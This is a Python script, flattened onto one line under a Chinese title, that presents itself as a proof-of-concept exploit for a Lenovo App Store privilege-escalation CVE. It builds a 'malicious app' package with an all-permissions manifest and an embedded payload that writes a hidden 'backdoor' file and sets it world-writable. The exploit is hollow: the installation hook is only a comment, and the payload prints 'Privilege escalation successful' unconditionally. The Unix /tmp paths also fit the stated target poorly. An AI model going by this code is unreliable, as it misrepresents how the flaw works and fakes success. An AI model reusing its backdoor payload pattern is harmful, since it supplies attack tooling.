CVE-2025-8485 Lenovo应用商店权限提升漏洞

# CVE-2025-8485 PoC - Lenovo App Store Privilege Escalation # This is a conceptual PoC demonstrating the attack vector # Note: This code is for educational and security research purposes only import os import sys import time import subprocess import threading class LenovoAppStoreExploit: def __init__(self): self.exploit_code = ''' # Malicious payload to be executed during app installation import os import sys # Attempt to execute code with elevated privileges def payload(): try: # Add malicious operations here # For demonstration: Create a backdoor backdoor_path = "/tmp/.hidden_backdoor" with open(backdoor_path, "w") as f: f.write("Backdoor created via CVE-2025-8485") # Execute system commands with elevated privileges os.system("chmod 777 " + backdoor_path) print("Privilege escalation successful") except Exception as e: print(f"Exploit failed: {e}") payload() ''' def create_malicious_app(self, output_path): """Create a malicious app package that exploits the vulnerability""" malicious_manifest = { "app_name": "MaliciousApp", "version": "1.0.0", "permissions": ["*"], "exploit_trigger": "installation_phase" } with open(os.path.join(output_path, "manifest.json"), "w") as f: f.write(str(malicious_manifest)) with open(os.path.join(output_path, "exploit.py"), "w") as f: f.write(self.exploit_code) print(f"Malicious app created in: {output_path}") def monitor_installation(self): """Monitor Lenovo App Store installation process""" print("Monitoring Lenovo App Store installation...") # In real attack, this would hook into the installation process # to inject and execute code during the vulnerable phase def exploit(self): """Execute the privilege escalation exploit""" print("=" * 60) print("CVE-2025-8485 Lenovo App Store Exploit") print("Target: Lenovo App Store - Improper Permissions during installation") print("CVSS: 7.3 (High)") print("=" * 60) temp_dir = "/tmp/lenovo_exploit" os.makedirs(temp_dir, exist_ok=True) self.create_malicious_app(temp_dir) self.monitor_installation() print("\n[!] This is a conceptual demonstration.") print("[!] Actual exploitation requires specific conditions:") print(" - Local access to the target system") print(" - Valid user credentials for Lenovo App Store") print(" - User interaction to initiate app installation") print("\n[+] Exploit package prepared successfully") if __name__ == "__main__": exploit = LenovoAppStoreExploit() exploit.exploit()